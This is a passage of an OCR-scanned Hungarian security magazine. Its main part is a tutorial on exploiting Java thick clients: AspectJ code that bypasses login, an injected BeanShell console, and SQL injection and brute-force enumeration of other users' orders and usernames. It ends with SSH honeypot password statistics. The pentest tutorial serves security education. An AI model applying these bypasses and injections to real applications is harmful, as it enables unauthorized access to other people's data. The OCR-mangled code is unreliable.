nem voltak a vallalati informatikai infrastruktura részei, robbanasszerti elterjedésiikkel azonban a
vallalatok biztonsagkritikus informaciévagyondnak egy része mar ezeken az eszk6zokon tarolodik,
valamint hozzaférést biztositanak a villalatok belsé halozati eréforrasaihoz. igy minél el6bb ki

3 Messmer, Ellen: Good times projected for network security market in 2011. IDC forecasts return to pre-

recession level of growth for network security products, Network World
4 Novell: Go from Cloud to Cloud, White Paper

5 SecurityPARK .net: IT security trends predictions
6 Brewster, Tom: We take a look ahead to what threats await us in 2011., ITPro.co.uk
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kell talalni, hogy miként lehet azokat nem csak az infrastruktira, hanem a biztonsag szempontjai
szerint is feliigyelni. A biztonsagi vezetok szamara egyébként nem az eszkdzokon megjelend
kartevok okozzak a legnagyobb problémat, hanem a késziilékek altal jelentett adatvesztési kockazat.
Els6sorban arra keresik a vélaszt, hogy miképpen védhetik meg a vallalati adatokat, ha a telefont
(vagy éppen a laptopot, esetleg a tablagépet) ellopjak vagy elveszitik. Az informacidk biztonsagat
az okostelefonokon, a noteszgépeken és a tablagépeken is garantalni kellene, de az ehhez sziikséges
informatikai-tavkozlési-mobiltelefonos tudas hianyzik. Itt pont forditott a helyzet, mint a
hagyomanyos IT-biztonsag teriiletén, oridsiak a megrendeldk igényei, viszont a szallitok nem tudjak
ezeket maradéktalanul kielégiteni. Az 0j késziilékek beszerzését nem biztonsagi megfontoldsok
vezérlik, hanem kényelmi vagy funkcionalis szempontok.’

Java Kkliensek tamadasa I1.

Eloszo

crcr

melyet a szerzé 2010. julius 20-an publikalt, és 2010-ben, Las Vegas-ban a Blackhat konferencian
prezentalt. A prezentacio terjedelme miatt a tartalom bemutatdsa két részre tagolodik, ahol elsd
izben az informéciogytiijtésbe, valamint az analizisbe nyerhetlink bepillantast. A kés6bbiekben a
kiaknézas kertiil gorcsd ala. Ahol megismerkedhetiink egy példa programon keresztiil a Java kliensek
gyenge pontjainak kihasznaldsi modszereivel, a kliens biztonsagi kontrolljainak megkeriilésével,
befecskendezési technikakkal €s a szerver oldali funkcidok tamadasi modjaival.

Az el6z6 kiadvanyban ,, A Java kliensek tdmaddsdnak modszertanaban” eljutottunk, az
adatgyiijtéstél egész az analizisig, melyet most tovabbgongyoélitve ismertetiink a begytlijtott és
analizalt adatok alapjan torténd kiaknazéssal.

Kiaknazas
Most, hogy mar jobban értjiikk az alkalmazas miikodését, valamint megismertiikk a biztonsagi
szempontbol érdekes objektumokat, képesek vagyunk manipuldlni a logikat kdzvetleniil az Aspect]

hasznalataval. Valamint egy BeanShell példany befecskendezésével interaktivan manipulalhatjuk a
klienst.

Foltozas AspectJ hasznalataval

A ,before advice” mellett, mely a metodus hivasok elott keriil végrehajtasra €s a nyomkdvetési
példaban is szerepel, az Aspect] ,,around advice” funkcidt is biztosit, amely a metddus hivas el6tt és
azutan is végrehajtasra keriil. Ez lehetdvé teszi szdmunkra, hogy teljesen Ujradefinidljuk vagy
megfoltozzuk a metddusokat, és igy tetszéleges funkcionalitast érjiink el.

A fenti nyomkovetés alapjan a ClientForm.login metddus altal szolgéltatott funkcionalitas kdnnyen
feliilirhatonak tiinik. A kovetkezd nézet feliilirja ezt a metodust egy olyannal, amely nem hivja meg
a szerver oldali fliggvényt, csak egyszeriien hozzarendeli a ,,A093633” fiok azonositot az accountld
mez6hoz, majd igaz értéket ad vissza.

7  Westervelt, Robert: IBM predicts rising mobile threats, critical infrastructure attacks in 2011
SearchSecurity.com
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public aspect BypassLogin {

pointcut loginBypass(ClientForm form : call(boolean *.login{(String,String)) &&
target(form);

boolean around(ClientForm form : loginBypass(form) {
Class ¢ = form getClass();
try {
Field f = c.getDeclaredField{"accountld");
f.setAccessible(true);
f.set(form "A093633");
} catch (Exception e) {
e.printStackTrace();
}
return true;

}

y \ Elképzelés szerint az ,,around advice” torzsnek a kovetkezdnek kell lennie:

!

formaccountld = "A093633"

Ugyanakkor a userld ,,private” hataskorrel rendelkezik, ezért sziikség van a ,reflection” API
hasznalatara, mely a ,,private” mezdket elérhetdve teszi, majd bedllitja a megfeleld értékeket.

Alkalmaztuk a nézetet, mint ahogyan azt az ajc eszkdz hasznalataval a nyomonkovetési szekcioban
demonstraltuk:
c:\optiaspectjl.6\bintajc -cp "c:\optiaspectjl.6\lib\aspectjrt.jar";bsh-2.0bd.jar;pf-
joi-full.jar;lib\appserv-ext.jar;lib\appserv-deployment-client.jar;lib\appserv-
rt.jar;libljavaee.jar;lib\swing-layout-1.0.4.jar;AdminBean.jar
TracingAspect\src\comicorsairelaop\BypassLogin.aj -inpath AdminClient.jar -outjar
NewAdmi nClient.|ar

gy mar megtekinthetjiik a rendeléseket belépés nélkiil:

.o

Login

I3

Username |: yone

Passward I Welcome, anyone

Orders
Reference: Details:

1001 Shipped to:
1007
1008
1009
1010
1011

Billzd to:

Total: £

Mindamellett sziikségiink volt az accountld eldzetes ismeretére ehhez a miivelethez. Amennyiben a
célunk az, hogy azokba a megrendelésekbe nyerjiink bepillantast, amelyekhez nincs jogosultsdgunk,
akkor két szambavehet6 t 1étezik a biztonsagi korlatozasok megkeriilésére.
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Egyrészt brute force-oljuk az accountld-t, masrészt Gigy foltozzuk a kodot, hogy az alkalmazas
tovabbengedje a hivasokat a szervernek, amely kinyeri a rendelési azonositokat (orderld) és
egyszerlien tetszéleges azonositokkal tolti fel az UIP-t.

Kicseréljiik a populateOrderList() metodust a sajatunkra, amely a lista dobozt a tetszoleges rendelési
azonositokkal tolti fel. Ahhoz, hogy ezt kivitelezziik, kiterjesztjiikk a meglévd bypassLogin nézetet
egy Uujabb értékeléssel és egy ,,pointcut” segitségével:

public aspect BypassLogin {

pointcut loginBypass(ClientForm form) : call(boolean * login(String,String)) &&
target(form;

polntcut populate{(ClientForm fForm} : call(veold *.populateOrderList(])) &&

B o :
J&S target(form;

|

o

boolean around(ClientForm form : loginBypass(form) {
Class ¢ = form getClass{]);
try {
Field f = c.getDeclaredField(*accountid");

f.sethccessibleltrue);
f.oset(form "A093633");

} catch (Exception e) {
e printStackTrace(]);
I
return true;
}

vold around(ClientForm form) : populate(form {

Class ¢ = form getClass();
Integer[] myList = new Integer[3];
mylist[0] = new Integer(1001);
mylist[1] = new Integer(1002);
mylist[2] = new Integer(1003});

try {
{{form orderListBox.setListDatalmylist)
Field f = c.getDeclaredField("orderLlistBox");
f.setAccessible(true);
JList myJList = (JList)f.get{form);
myList.setlistData(mylList);

} catch (Exception e}

e printStackTrace(};

Az értékeléshez sziikség volt a kitekert ,reflection” API haszndlatira, hogy elérhetévé valjon a
private hataskorti list box mezd.

8 UI (User Interface) — Felhasznaloi feliilet
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Alkalmazva az elobbieket és futtatva az 0j alkalmazast, észrevehetd, hogy elérhetévé valtak a
tetszOleges rendelési azonositok, melyek mas felhasznalokhoz kothetdk:

[ ~=lofx

Login

Password I Logout | Welcome, anyone

Orders
Reference: Details:

|1':":'1 Shipped ta: Llice, Jones

1003

Billed to:

Total: £ 18.5

Teljesen nyilvanvald, hogy az Aspect] egy rendkiviil hasznos eszkdz, amely egyarant hatékonyan
hasznalhat6, mind a nyomokdvetés soran, mind a Java alkalmazésok foltozasakor.

Shell befecskendezés

Az Aspect] hasznalataval torténd foltozgatas szamos esetben valhat hasznunkra, mindemellet egyes
esetekben az interaktiv shell konnyebbé teheti a nyomozast €s a manipulaciot.

A koréabbi analizisbdl kideriilt, hogy az egyik érdekes osztaly a ManageOrdersBeanRemote osztaly,
melynek a meghivasa a ClientForm osztalyon beliil torténik. igy célszerti a ClientForm osztilyba
befecskendezni a BeanShell-t. A legjobb megoldast az szolgaltatna, hogy olyan metédusba tudnank
befecskendezni, amely minddssze csak egyszer keriil végrehajtasra, mivel csak egy BeanShell
példanyra van sziikséglink. Amennyiben ez nem lehetséges, sziikségessé valik az, hogy olyan
logikaval vértezziik fel a befecskendezett kodot, mely megbizonyosodik arrél, hogy csak egy
példanyban indul majd el.

A Java Object Inspector (JOI) egy olyan eszkdz, mely lehetdvé teszi az objektumok értékeinek
vizsgalatat futas kozben. Konnyen elképzelhetd, hogy a JOI ugyancsak a segitségilinkre lehet, ezért
célszerii lenne a befecskendezése.

Szamos modszer 1étezik az eredeti Java bytecode modositdsara, hogy meghivjunk egy BeanShell
konzolt. Kettdt koziiliikk az aldbbiakban mutatunk be: Az Aspect] és az Eclipse TPTP hasznalataval
torténd megoldasokat prezentaljuk — mindkét esetben magas szintii nyelv segitségével hatarozhatjuk
meg, hogy mit és hova szeretnénk befecskendezni.
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Befecskendezés Eclipse TPTP segitségével

Esetiinkben, mivel minddssze egy ClientForm példany jon létre, befecskendezhetiink egy
BeanShell-t a konstruktorba, melyet a TPTP ,,<init>" metddusként azonosit. Probalkozasunk sordn
kivalasztunk egy Probe metodust €s egy ,.exit” fregment tipust, amely a befecskendezett kddunkat
fogja futtatni, miutan a konstruktor 1étrejon. A probanak tartalmaznia kell egy ,,thisObject”-et, hogy
atadhassunk egy ClientForm példanyt a BeanShell-nek.

Create a file to hold the set of probes u
&

- Create a fle with 2 'probe’ extension in a Java source folder,

File Name: I beanshel. probe

Source Folder: l fprobe farc Browse |

XML Encoding: |L|TF-8 |
—Add content to the probe file; This type of probe is inserted anywhere within the ;l

@ Method Frob body of a methad. For method probes, the class or

Ethod Frons jar files containing the target methods are
" callsite Probe instrumented by the byte-code instrumentation (BCI)
engine,

" No Content (Blark Probe File) LI
—Fragment types: — exit fragments execute upon method exit; either a narmal exit, ;l

™ catch when the method throws an exception, or when a thrown

= exception propagates out of the method. exit fragments wil not

" entry execute for methods that were inserted into the dass by Probekit.

" executableUnit

0 et

" staticInitializer ;I

Y
'\? g = Back MNext = | Finish I Cancel

Most mar lehetséges a célpontok meghatdrozésa, kivalaszthatjuk, hogy a probalkozasunk melyik
csomag, melyik osztalyanak, melyik metoduséaba keriiljon befecskendezésre.

Targets

Type | Package | Class | Method Signature | Add
incude com,corsaire.ispat... | ClientForm <init> *
exclude = = " =

Remove

Up

Do

16
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A tovabbiakban sziikségiink lesz a BeanShell-re és a Java Object Inspector-ra (JOI).

|'& beanshell.probe |5l beanshell.probe 32 -0

-%( Probekit Source File

<~ @ Probe
Targets Import directives
&, Imports bsh.Interpreter Add
‘& Fragment (exit) org.pfjoi.Inspector

Remove

Miutan beallitottuk az importalasra keriil allomanyokat, sziikségiink lesz még tovabbi konyvtarakra

az Eclipse projekthez és az alkalmazas run szkriptjéhez. Elengedhetetlen a bsh-2.0b4.jar és pf-joi-
. full jar fajlok letoltése, melyeket helyezziink el az admin kliens home mappajaban, majd adjuk
. hozza &ket az Eclipse projekt kiilsd jar-jaihoz.

A kovetkez0 probe fregment lesz hasznalatos:

Interpreter i = new Interpreter(); //The BeanShell interpreter

try {
i.set("form"', thisObject);
i.eval["setAccessibility(true)");
i.eval ("server(7777)"); //Start a BeanShell console on ports 7777 and 7778
Inspector.inspect(thisObject); J/Start the JOI using thisObject

} catch (Exception e) {
e.printStackTrace();

}

Ez elindit egy j BeanShell interpretert és atadja a a ,,thisObject’-et, mely a ClientForm egy
példanya, amire a ,,form” alias névvel hivatkozhatunk. Majd lehetové teszi a private metodusok
elérését és elindit egy szervert a 7777-es porton. (Ez egy HTTP szerver, mely egy Java Applet-et
hosztol egy beagyazott BeanShell konzollal.) A 7778-as port egy konzol példannyal rendelkezik,
mely telnet segitségével érhetd el.

Kovetkezd 1épés az eredeti AdminClient.jar finomhangoldsa az 0j probaval. Amennyiben a
methodTracing proba ugyancsak a projektben van, akkor jobb klikkel rakattintva az 1j
beanshell.probe-ra kivalaszthatjuk a ,,Static instrumentation”-t. Ez egy jar fajl listat prezental,
melyeket hangolhatunk.

& Instrument with beanshell probe [ |

Select one or more (. dass, .jar, .war, or .ear files or directories to instrument.

s

[l C:/Documents and Settings fAdministrator ftutorial fispatula /A dminClient/dist/AdminClient. jar
[ C:/Documents and Settings fadministrator ftutorial fispatula fadminClient/pf-joi-full .jar
[ C:foptilavafresibicharsets.jar

afirecflibfextidnsns.jar

afiresflibfextiocsledata. jar

afiredlib fextisumjce _provider. jar

afired /libfextisunmscapi jar

afiredlibfextisunpkos 11, jar

afjresflib fice.jar

afireblibfisse.jar

| afres/lib fresources, jar

- CifoptiJavafireslibfrt.iar

Select all I Deselect all

Click Fimish to instrument the selected resources.

'i? | oK I Cancel
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Az indit6 szkriptnek tartalmaznia kell a két ij JAR fajlt:
java -classpath bsh-2.0b4.jar;pf-joi-full.jar;liblappserv-ext.jar;lib\appserv-
deployment-client.jar;lib\appserv-rt.jar;lib\javaee.jar;lib\swing-layout-
1.0.4.jar;..\AdminBean\distyAdminBean.jar;dist\AdminClient.jar;"C:\Documents and
Settings\Administrator\workspace\probe\bin" com corsaire.ispatula. Main
Ezen a ponton készen allunk a modositott alkalmazas inditasara, mely elinditja a BeanShell-t,
amelyet a 7778-as porton érhetiink el telnet segitségével. Mieldtt BeanShell-en keresztiil feltarnank
az alkalmazast, bemutatdsra keriil egy masik eljards egy konzol befecskendezésére Aspect]
segitségével.

Befecskendezés AspectJ hasznalataval

Az Aspect] képes 0sszefonni az 0j bytecode-ot egy meglévd JAR f4jllal, hasonl6 mdédon mint az
Eclipse TPTP. Az Aspect] csomag az aldbbi cimen érhetd el:

http://www.eclipse.org/aspectj/downloads.php

A kovetkezd 1€pés az, hogy definidlunk egy aspektust, amely azonositja, hogy az 0j kéd hova legyen
befecskendezve (az Aspect terminoldgidban ezt ,,pointcut”-nak nevezziik), illetve, hogy milyen kod
legyen befecskendezve (,,advice” névvel illeti az Aspect).

Mivel mar megtalaltuk az alkalmas befecskendezési pontot a BeanShell szdmara — nevezetesen a
ClientForm osztaly konstruktorat — a kdvetkezOképpen definialhatjuk a pointcut-ot:

pointcut BeanShell() : execution( ClientForm new (..) );

Az ,execution” jelzi az Aspect] szamara, hogy fecskendezze be a ,,BeanShell” kodot, amikor a
meghatarozott metodus végrehajtasra keriil. A metddus szignaturgja: ClientForm.new(..), ahol a
dupla pont a paraméter mezdben egy ,,wild card™. Erre azért van sziikség, mert a ClientForm
konstruktornak sziiksége van egy paraméterre.

Az ,,advice-nak a kdvetkdképpen kell kinéznie:

after() : BeanShell() {

System out.printin("Injecting BeanShell");

i = new Interpreter();

try {
i.set("form', thisJoinPoint.getThis() );
i eval["setAccessibility(true)");
i.eval ["server(7777)");

} catch (Exception e) {

e.printStackTrace();

Amely nagyon hasonlit az Eclipse TPTP koédhoz. Az aktuélis objektumon (a ClientForm egy
példanyan) egy kezel6t szerez a “thisJoinPoint.getThis()”, amely ,,form”-ként valik elérhetové a
BeanShell-bdl.

9 Wild card — joker karakter, helyettesitd karakter vagy karakterlanc
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Mentsiik el a teljes nézetet egy fajlba, példaul BeanShellAspect.aj névvel:
package com.corsaire.inject
Interpreter i;

pointcut BeanShell{) : execution( ClientForm new (..) }):

after() : BeanShell () {

System.out.printin("Injecting BeanShell");

i = new Interpreter();

try {
i.set("form", thisJoinPoint.getThis(});
i.eval("setAccessibility(true)");
i.eval ("server(7777)");

} catch (Exception e} {
e.printStackTrace();

}

System out.printin("Injecting JOI")

Inspector.inspect{this]oinPoint.getThis());

Ezek utdn mar lehetdségiink nyilik az Aspect] ajc eszkdz hasznalatara, hogy Osszefonjuk a nézetet a
meglévé JAR (AdminClient.jar) fajllal és létrehozzunk egy ) JAR-t az Gsszefont koddal. Az ajc
eszkoznek sziiksége lesz a teljes classpath-ra, ideértve a BeanShell-t és a JOI jar-okat, valamint az
aspectjrt.jar f4jlt, tovabba a kliensnek sziikséges konyvtarakat:
c:\optiaspectjl.6VbinYajc -cp "c:\optiaspectjl.6\liblaspectjrt.jar";bsh-2.0b4. jar;pf-
joi-full.jar;liblappserv-ext.jar;lib\appserv-deployment-client.jar;liblappserv-
rt.jar;libljavaee.jar;lib\swing-layout-1.0.4 jar;.. \AdminBean\dist\Admi nBean.jar

BeanShel | AspectisrcicomcorsairelinjectiBeanShel | Aspect.aj -inpath dist\AdminClient.jar
-outjar NewAdminClient.jar

Az 1j JAR f3jl futtatasdhoz megadtuk a sziikséges konyvtarakat a classpath-ban:
java -classpath c:\optlaspectjl.6\!ib\aspectjrt.jar;bsh-2.0b4.jar;pf-joi-
full.jar;lib\appserv-ext.jar;liblappserv-deployment-client.jar;liblappsery
rt.jar;lib\javaee.jar;lib\swing-layout-
1.0.4.jar;..\AdminBean\dist\AdminBean.jar; NewAdmi nClient.jar com corsaire.ispatula.Main

A fenti Iépések utan egy BeanShell-el rendelkeziink, mely a 7777-es és a 7778-as portokon hallgat
¢és fut a JOI egy példanya, mely képes manipuldlni az alkalmazast. Egyébként ugyanezt a technikat
alkalmazhatjuk a nyomonkdovetés soran is.

A JOI a hataskdrben 1évo 6sszes objektummal kapcsolatos nézetet biztositja:

#® 301 V2.5 : BasicInspector (com_corsaire_ispatula_ClientForm)

Window Actions Show Plugins Help

- @ serialVersionUID _|pECLaRED : [private static com. corsaire jb. ManageOrdersBeanRemate
- @ serialersionl/ID
@ shape

-~ B shippingTextirea
- & showWithParent

- & syncl\WRequests
-~ & systemSyncLWRegquests
- @ temporaryLostComponent
- & textlistenerk
& title
- @ totallabel
-~ @ transferHandler
- & undecorated
- | userld
~- @ usernameField
@ wald
-a
~ & wisible
-~ & warningString
- @ weal kThis
width
windowClosingException

windowFocusListenerk

a
&

-~ & windowFocusListener
a
s
&

windowListener
windowListenerk.
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A JOI egy nagyon jol hasznalhato grafikus feliilet a belsé valtozok értékeinek megtekintésére,
illetve azok modositdsara. Ezeket egyébként a BeanShell konzolbdl is lekérhetjiik, valamint
modosithatjuk. A kovetkezd szekcid tisztan a BeanShell-re fokuszal, mivel hathatosabb kornyezetet
biztosit mit a JOL.

Az alkalmazas manipulalasa BeanShell-bdl

Miutan az eredeti JAR fajl finomhangolasa vagy Osszefondddsa a befecskendezett koddal
megtortént, telnetelhetiink a BeanShell 7778-as portjara, esetleg nyithatunk egy bongészdt a
kovetkezo elérhetdséggel: http://localhost: 7777

Desktop$ telnet localhost 7778
& Trying 127.0.0.1..
Connected to localhost.
Escape character is '"*]"'.
BeanShel | 2.0b4 - by Pat Niemeyer (pat@pat.net]
»\\% \ bsh % print(form);
: ispatulaadmin.ClientForm{ frame0,0,26,602x496, layout=java.awt.BorderLayout,title= resizab
i m le,normal,defaultCloseOperation=EXIT_ON_CLOSE,rootPane=javax.swing.|RootPane[,6,27,590x4
: 63, layout =javax.swing.|RootPane$RootLayout,alignmentX=0.0,alignmentY=0.0,border=, flags=1
6777673, maxi mumSize=, minimumSize=, preferredSize=],rootPaneCheckingEnabled=true]

bsh %

Az informaciogyijtés alatt megtudtuk, hogy 1étezik egy ,,viewOrders” mezd, mely egy referencia a
ManageOrdersBean EJB-re a ClientForm osztalyban. Ugyanakkor 1étezik egy masik modszer is egy

adott osztaly metddusainak felsorolasara:
bsh % methods = form viewOrders.getClass().getDeclaredMethods();

bsh % for (i=0;i<methods.length;i++] {
print{methods[i]);

}

public boolean
com. corsaire.ejb. ManageOrdersBeanRemote Wrapper.login(java.lang.String,java.lang.String

)
public java.util.List comcorsaire.ejb._ManageOrdersBeanRemote_Wrapper.getOrderlds()

public com corsaire.ejb. Order
com corsaire.ejb. _ManageOrdersBeanRemote_ Wrapper.getOrder(int)

public java.lang.String com corsaire.ejb. _ManageOrdersBeanRemote_Wrapper.getUserld()

bsh %
A grafikus feliileten keresztiil végrehajtott miiveleteket a BeanShell-en keresztiil is elvégezhet;iik:
bsh % ejb = form viewOrders; [/Get a handle to the E|B

bsh % acc = ejb.login{"bob", "password");
bsh % print(acc);
bsh % A093633

Mivel bob felhasznalokét beléptiink, lehetdséglink nyilik a rendelési szamok lekérésére:
bsh % orders = ejb.getOrderlds{acc);

bsh % print(orders);
[1001, 1007, 1008, 1009, 1010, 1011]

Valamint megtekinthetjiik az adott rendelések részleteit:
bsh % order = cf.viewOrders.getOrder(21001);

bsh % print({order.getBillToFirstName());

Robert
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A tamadasok kivitelezése

Elérkeztiink ahhoz a ponthoz, ahol mar kivitelezhetjiik a dokumentum elején felsorolt harom
tdmadasi forgatokonyvet.

* Az elérési kontroll funkciok tdmadasa a kliens manipulalasaval, mely soran illetéktelentil
hozzaférhetlink a rendelési informaciokhoz.

* Szerver oldali befecskendezéses tamadasok (példaul SQLi)

* Automatizalt brute force vagy szotar alapu tdmadas

N!,j’ukl

Elérési kontrollok tamadasa

’ \ Az analizis fazis sordn megértettiikk, hogy mely metdédusok hivasa torténik meg és azok milyen

. paramétereket varnak. A BeanShell-bdl lathattuk, hogy hogyan kérhetjiik le a rendelések listajat egy

i “\ﬁ belépett felhasznalohoz kapcsolodoan. Tovabba megismerkedtink egy adott megrendelés
L lekérdezésének forméjaval:

bsh % orders = ejb.getOrderlds(“A093633");
bsh % print{orders);
[1001, 1007, 1008, 1009, 1010, 1011]

bsh % order = cf.viewOrders.getOrder(1001);

bsh % print(order.getBillToFirstName());

Robert

A rendelés szamok csak egész szamok lehetnek, probaljunk lekérdezni egy olyan megrendelést, ami
nem bob-hoz tartozik:

bsh % order = cf.viewOrders.getOrder{1002);
bsh % print{order. getBillToFirstName(]));

Alice

Ez azt mutatja, hogy az alkalmazas elégteleniil probalja érvényesiteni a hozzaférési kontrollt szerver
oldalon. Illetve csak a grafikus feliiletet alkalmazza a rendelések sziirésére. Tehat csak a GUI gatolja
a felhasznaldkat més felhasznalok rendeléseinek megtekintésében.

Mivel képesek vagyunk kozvetleniil meghivni a getOrder fliggvényt, ezért valdszinii, hogy az
autentikacid kikényszeritését is a GUI végzi. Az alkalmazés Gjrainditasa, valamint a BeanShell-be
val¢ telnetelés utan, megprobalkozhatunk a rendelések lekérdezésével bejelentkezés nélkiil:

bsh % o = form viewOrders.getOrder(1002);
bsh % print{o.getBillToFirstName());

Alice

Nyilvanvald, hogy bar az alkalmazis azt a hatast kelti a felszinen, hogy helyesen miikodik, a
kritikus biztonsagi funkcidk, ugy mint az autentikacio és az elérési kontrollok a szerver oldal helyett
a kliens oldalon érvényesiilnek. Ez a Java kliensek terén egyaltalan nem szokatlan, mivel szamos
fejlesztd feltételezi helyteleniil azt, hogy a kliens forditasaval megbizhatova valik.
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SQL befecskendezések tamadasa

A felhasznalonév mezdjének alapszintii SQL befecskendezéses tdmadésa esetén az ellenérzo logika
nem engedélyezi az SQL meta-karaktereket:

Login

Username ||JD|J' OR '1'="1

Password |* Error: Invalid characters entered

A BeanShell hasznalataval a biztonsagi kontroll konnyedén megkeriilhetd:

bsh % ejb = form viewOrders;
bsh % result = ejb.login{"bob" OR '1'="1","");
bsh % print(result];

true

Automatizalt tamadasok

A BeanShell egy jol felszerelt szkript-kornyezet, ennélfogva a BeanShell nyelvvel konnyen

kivitelezhet6k az automatikus tamaddsok. A nyelv egy egyszerlsitett Java-ra hasonlit és sziikség
szerint atkapcsolhato a Java nyelvre a setStrictJava(true) paranccsal.

Az elsé automatizalt tamadas lehet az érvényes rendelési szdmok felsoroldsa. Ez konnyedén
kivitelezhetd egy ciklussal:

bsh % ejb = form. viewOrders;

bsh % Order o;

/i Error: EvalError: Typed variable declaration : Class: Order not found in namespace :
at Line: 1 : in file: <unknown file> . Order

Az ,,Order” tipus ismeretlen, igy importalni sziikséges.

bsh % MAX = 9000;

bsh % orders = new ArrayList();
bsh % for (i=0;i<MAX; i ++) {

o0 = ejb.getOrder(i);

if (o !'= null) orders.add(o);

}

bsh % print{orders.size({));

10

Tiz rendelés kinyerése tortént meg.

bsh % for (o : orders) {
order = (Order) o;
print{order.getBil | ToFirstName() +" "+order.getBillTolastName(])

}

Robert Haslop

Robert Haslop

Alice Jones

Alice Jones

Alice Jones

Robert Haslop

Robert Haslop

Robert Haslop

Robert Haslop

Robert Haslop

bsh %
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Kovetkezd 1épésként megkisérelhetjiik az érvényes felhasznalonevek felsorolasat egy szotar fajl
segitségével. Mivel a bejelentkezési metddus egy iires fidkazonositdt ad vissza sikertelen belépési
kisérlet esetén, ezért a felhasznalonevek kényelmes kinyeréséhez hasznalhatjuk az SQL
befecskendezést.
res = ejb.login{username+"" OR '1"="1","");
if (res != null && res.length() > 0) print("Found user: "+4username)
}
in.closel();
} catch (Exception e){

System.err.printin{"Error: " + e.getMessage(});

b

= Az eredmény pedig a kovetkezo:

Found user: bob
Found user: admin
Found user: test

Found user: alice

Konkluziok

A kliens kodot minden esetben megbizhatatlannak kell tekinteni. Az elérheté bytecode manipulacios
eszkozokkel immar sokkal egyszeriibben megkeriilhetok a Java kliensekbe implementalt biztonsagi
funkciok. Visszafejtéssel, nyomonkdvetéssel vagy profilozassal megérthetjiik a hivasok folyamatat
¢s a kulcsobjektumok szerepét az alkalmazasban.

A bytecode manipulacios eszkozok, mint az Eclipse TPTP és az Aspect] egyszerli és magas szintii
csatlakozasi feliiletet biztositanak annak a leforditott Java kodok modositdsahoz, a forraskod
elérésének sziiksége nélkiil. Mindezek mellett nem sziikséges a Java bytecode megértése ezen
eszk0zok hasznalatahoz.

Befecskendezve egy BeanShell-t a futé alkalmazasba, feltdrhatd a kliens mitkodése és lehetdvé
valnak olyan metodus hivasok, melyeket egyébként a grafikus feliilet elrejtene.

Referenciak

Attacking Java Client: A tutorial https://media.blackhat.com/bh-us-
10/whitepapers/de Vries/BlackHat-USA-2010-deVries-

Attacking-Java-Clients-wp.pdf

Assessing Java clients with the BeanShell http://research.corsaire.com/whitepapers/060816-
assessing-java-clients-with-the-beanshell.pdf

Aspect] http://www.eclipse.org/aspectj/docs.php
BeanShell http://www.beanshell.org/manual/contents.html
Eclipse TPTP http://www.eclipse.org/tptp/

Java Object Inspector http://www.programmers-friend.org/JOl/
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Tanuljunk a bruteforce-bdl — Erich Samuel tollabol»

Mi, mint biztonsagi szakemberek, gyakran hibaztatjuk felhasznaloinkat (vagy tligyfeleinket),
kevesebbszer mint az illetékesek. Gyakran elvarjuk a felhasznaloktol, hogy tgy tekintsenek arra
amit mondunk, mint informatikai biztonsagi evangéliumra, de ez tobbnyire nem igy torténik.

A felhasznalok tobbségének kérdései lehetnek a hasznalt szoftver alkalmazéasokkal, illetve a
biztonsagi eljarasok és eszkozok kapcsan, €s ha szerencsénk van, akkor talan el is mondjak azokat.
Személy szerint azt allapitottam meg, hogy amikor veszem a faradsagot, hogy elmagyarazzam a
dontésem mogott rejlé okot, akkor az emberek nagyobb valdsziniiséggel megfogadjak és betartjak
amit mondok.

S Van egy kis otthoni szerverem, amit kiilonbdz6 célokra hasznalok, kdvetem a kiilonb6zd trendeket
¢s ssh bruteforce-al probéalkozok, ami mindig is a végtelen szorakozasom forrasa volt. De egy nap a
kovetkezo kérdés jutott az eszembe: ,,Tudnam ezt a tényleges informaciot hasznalni? Kaphatok
ebbdl valami hasznosat?”

Ezt szem el6tt tartva, elkezdtem a munkat, hogy naplézzam a jelszavakat. Most nem megyek bele a
részletekbe — elég annyit mondani, hogy akartam valamit, ami kevés karbantartassal és munkaval
jéar, valamint amihez nem sziikséges egy ujabb szerver folyamat (process) vagy az sshd kod
modositasa.

fgy végiil egy egyedi pam modul mellett dontdttem a forras (source) naplozasara, az egyes
felhasznalonév és a jelszd kisérletekre, és csindltam honeypot felhasznalokat, hogy monitorozni
tudjam ezeket a kisérleteket.

Minden bruteforce kisérlet soran egy naplobejegyzés késziil, ami a kovetkezoképpen néz ki:

host = estpak.ee : username = shoutcast : password = shoutcast

Hagytam, hogy a beallitds ezekkel a tulajdonsdgokkal néhany hénapig fusson — pontosan 2009.
decemberétél 2010. juliusdig. Lassuk, hogy az Osszegylijtott adatok segitenek-e megvalaszolni
néhany kérdést.

Senki sem akar megtamadni, ugye?

A legtobben nem szeretik azt gondolni, hogy ezeknek az embereknek — tdmadodknak - az a szandéka,
hogy ,.elkapjanak” minket. De nézziik a statisztikakat a 8 honapos idészakra nézve:

o+ Osszes kisérlet: 159969

* Egyedi forrdsok szama: 728

* Havi atlag: 19996

* Napi atlag: 658

* Egyedi felhasznalonevek: 16155
* Egyedi jelszavak: 16445

Ezek szerint sok ember foglalkozik tamadasok inditdsaval (és igen, tudom, hogy a tdmadasok egy
része feltort gépek feldl érkezik és a gépek tulajdonosai esetleg nincsenek ezzel tisztaba, de ettdl
fiiggetleniil ezek a tdmadasok megtorténnek). Tény, hogy a mindennapos tamadéasok soran
nagyjabol 3 10 forrast fedeznek fel. Ezt az informaciét hozzdadva az Osszes probalkozas
szamossagahoz lathato, hogy az interneten mindenki valaki mas célpontja.

10 Forras: Insecure Magazin 27
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Miért kell jo jelszavakat valasztani?

Jelszo Probalkozisok szama

A , Mitdl lesz j6 egy jelsz6?” egy olyan téma, amirdl 123456 2103
nagyon sokat lehetne beszélni, de nem erre akarom password 1267
terelni a szot. En egyszerlien meg akartam mutatni a test 869
bruteforce-ot alkalmazd tamadok, mely jelszavakat 1234 814
probaljak ki leginkabb. ime a TOP10-es lista: root 753

oracle 736
Ez a lista tokéletes arra, hogy 'megtanuljuk, mely Cll‘;;ztg 2(2);
jelszavakat nem szabad hasznalni, illetve, hogy milyen abc123 615
jelszokonvenciokat ne hasznaljunk lehetdség szerint. redhat 600

Lassunk erre is néhany statisztikat.

* Ajelszavak 10 vagy tobb karaktert tartalmaznak: 15949 (17%)

* Ajelszavak 6 vagy kevesebb karaktert tartalmaznak: 44552 (48%)
* Ajelszavak 3 vagy kevesebb karaktert tartalmaznak: 4815 (5%)

* Ajelszavak specialis karaktereket tartalmaznak: 7055 (7%)

* Ajelszavak csak szamokat tartalmaznak: 10830 (11%)

* Ajelszavak csak betliket tartalmaznak: 41349 (44%)

Ezen szamok tiikrében, kijelenthetjiik, hogy megéri hasznélni a specialis karaktereket tartalmazé
jelszavakat, mar azért is mert az Osszes esetet figyelembe véve, 93%-ban nem ilyen jelszavakat
probaltak ki.

